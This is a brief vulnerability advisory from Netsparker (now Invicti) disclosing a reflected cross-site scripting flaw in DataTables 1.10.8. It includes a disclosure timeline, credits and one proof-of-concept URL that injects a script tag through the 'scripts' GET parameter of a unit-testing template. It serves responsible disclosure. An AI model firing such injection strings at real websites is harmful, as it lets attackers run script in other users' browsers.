Cross-site Scripting Vulnerability Identified in DataTables
Advisory by Netsparker (now Invicti)
Name: XSS Vulnerability in DataTables
Affected Software: DataTables
Affected Versions: 1.10.8 and possibly below
Vendor Homepage: https://github.com/DataTables/DataTables
Vulnerability Type: Cross-site Scripting
Invicti Advisory Reference: NS-15-014
Proof of Concept URL for XSS in DataTables:
Parameter Name: scripts
Parameter Type: GET
Attack Pattern: http://example.com/DataTables-master/media/unit_testing/templates/6776.php?scripts='"--></style></scRipt><scRipt>alert(0x00807E)</scRipt>
For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).
04/09/2015 – First Contact
08/09/2015 – Vendor Fixed
09/09/2015 – Advisory Released
Credits & Authors
These issues have been discovered by Onur Yilmaz while testing Invicti Web Application Security Scanner.
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